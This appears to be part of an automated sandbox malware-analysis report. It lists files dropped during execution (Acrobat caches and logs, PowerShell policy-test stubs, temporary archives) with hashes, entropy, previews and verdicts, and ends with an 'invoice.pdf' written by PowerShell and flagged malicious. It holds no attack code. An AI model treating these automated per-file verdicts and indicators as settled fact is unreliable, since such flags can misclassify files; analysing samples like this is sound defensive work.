Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c822fa28366e60ada98950e3ea6d92b7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581267000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b083391f8f1d9d4535efaf89b7580897","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581267000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"376003447477420c87768a64d6d9c1d2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581267000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8fafac7bf66f4f13758497bc7af4d08c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581267000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"98aff2cc5f0f0593f7766bd9f594d3a4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581267000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a1410583d0235b6695c4408cdb4152d2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886639070445149
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU3DSvR9H9vxFGiDIAEkGVvpjb:lNVmswUUUUUUUUz+FGSItr
MD5:	1C0BA73829F0247B44A1A8A7427B7107
SHA1:	A49979105967BD676D759E7613A5D0BDC4886027
SHA-256:	4C619AB377689397901FE2A1BB9F6C5D4031F4EEFC96561C713634450A041E59
SHA-512:	5F72CCB1B1C3824B15D89057B14A7A4DF496180FD29CC3B73D949CEDC3BD87680F3FC6A5D75B4386B31F25F34DF5F5D0EA5AEB05B8471370C3B80F9DCF0A8A69
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6069884919248623
Encrypted:	false
SSDEEP:	48:7MRKUUUUUUUUUU3nvR9H9vxFGiDIAEkGVvaqFl2GL7msB:7LUUUUUUUUUUPFGSItQKVmsB
MD5:	1B4671393B9746AEF3297A6C777ADC37
SHA1:	6CB531852426D28354E81B2416A628CAE8E738CC
SHA-256:	0411157422DD85D7E30061B5F775669ECB3744DEB031CB28C601FABE0A265B8B
SHA-512:	AA69BD44F1D615C2520DDD4B4D7F2E04B4C35C0DD22E92F190D654F695785D2325CAEC7350EE5CE7AFB905D21EF3F3828EE893C236FF26769BBC6F7DEDBBCEA7
Malicious:	false
Preview:	.... .c.....Bm.T......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/4by7Xk/FMELlbCj5MFCKgeyYyu:6a6TZ44ADE/4bkXk/FMEh/iK
MD5:	311B31FFAF69D0FB02B13D0503AF26B2
SHA1:	83FD578FC1915A5245020481D49CA31BAEA34309
SHA-256:	297FB75F0C63F4349C210D09BCA17D767A1E5EACA7014917AA1F11D1984E88AA
SHA-512:	23CA42346EED602FB3859C946B8A60BB3030CA34C9EDF104393DF693144F1E79155E942A408DE4463763CDB7AC938A249B9784B024D9A243F3A0A8D83BBDAFBD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI68b36.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cllll:Qw946cPbiOxDlbYnuRKdOl
MD5:	88B65528F626479120BC798D1D216251
SHA1:	73D38CA88734C2DFB4801AF8D8C10458A5570302
SHA-256:	7584789485674BEE311E0AEF3B36679CA19C75A857ABEE8079B6CDFF99456BA2
SHA-512:	B502A96E1AA9740A04377BFD1928DA29097F4CFCD8C50014F51A0EE834495531938C674007650644E16AD39A599A7187A9F137063F40700C1F97C4E38F609258
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.1.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kll1ec3r.wzh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oulbr3wg.wr1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91v4brin_1b9h96s_5fk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9vz1qmb_1b9h96t_5fk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-41-01-209.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.318300220294668
Encrypted:	false
SSDEEP:	384:FSbMvMEMfMfMoMsGMEMZMZMPMuM+rMuM09Xm2XUX2XUQvQHQqQnQ8IjDjPjlCrCW:FueTGgFNGNm4Mlnrrf5RkGkuSvg+HLpi
MD5:	EDB9136070E8B4FF47E0EC1E076A9417
SHA1:	DF4C1C7943E15A5B827D8535A189809C67E7AA11
SHA-256:	539C3E6029A7A3278785960084D44FE9170F699F96F00F10A52C1D9098E825FB
SHA-512:	BA1C682C7C6755564AD38FE24DD8D4F4D8ECF6FF813798EB534A6E25AB99CACC6BB542B241CE4B1B9845501D09704DB801D7192B4538837B66C24E246C691BC3
Malicious:	false
Preview:	SessionID=0c50abb2-41c1-44b2-908a-213ab05c3c8c.1736581261310 Timestamp=2025-01-11T02:41:01:310-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0c50abb2-41c1-44b2-908a-213ab05c3c8c.1736581261310 Timestamp=2025-01-11T02:41:01:312-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0c50abb2-41c1-44b2-908a-213ab05c3c8c.1736581261310 Timestamp=2025-01-11T02:41:01:312-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0c50abb2-41c1-44b2-908a-213ab05c3c8c.1736581261310 Timestamp=2025-01-11T02:41:01:312-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0c50abb2-41c1-44b2-908a-213ab05c3c8c.1736581261310 Timestamp=2025-01-11T02:41:01:312-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.381436514555044
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rf:z
MD5:	B40070D3113D8075F6EF79551FA021DD
SHA1:	F9C3CC3B3A99A226BB1BF42BD9FBBB86695022B8
SHA-256:	4388FB7D0485A6DD0C090ED0E02E7B8497CF36766EC26D9F90EE823C1DC94367
SHA-512:	2D5F6128180E42FE649A49EBE8BC67F27C408156C99707DF058FBB6ED373B9B2C7D11E79D17E370E56654374F5E52D4BEC7C29F41C3D35055AA32128C5BD9EF1
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5bc87d1e-0871-4aad-a3b8-f08d177994c8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\84a6f90d-8218-44ad-bbd8-9215fa5f6485.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xgwYIGNPgeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JgwZG/WLxXGZN3mlind9i4ufFXpAXkru
MD5:	393804E9BFD182FDCC5F1FC1A732982E
SHA1:	6FE054E9979069B3C65A4F4282ACC89F642E02DA
SHA-256:	A041E4E95C1A18B5CA21FF069E6BC11FED9D7149F91E5F58AD38E25815A1CA63
SHA-512:	34E8053EE79C358F5B15DC966FA2FE0C635B6E5E0441133AD92A3FCE293DB334BAD69280ACA88945AB98A15AAAC57C7FC5508FCEB9F2118584D2850D6D5FF747
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\abffa102-05bd-4639-ad13-2e050849c9a2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ed8a83e8-5eb1-4386-a022-90ed7f271b8a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
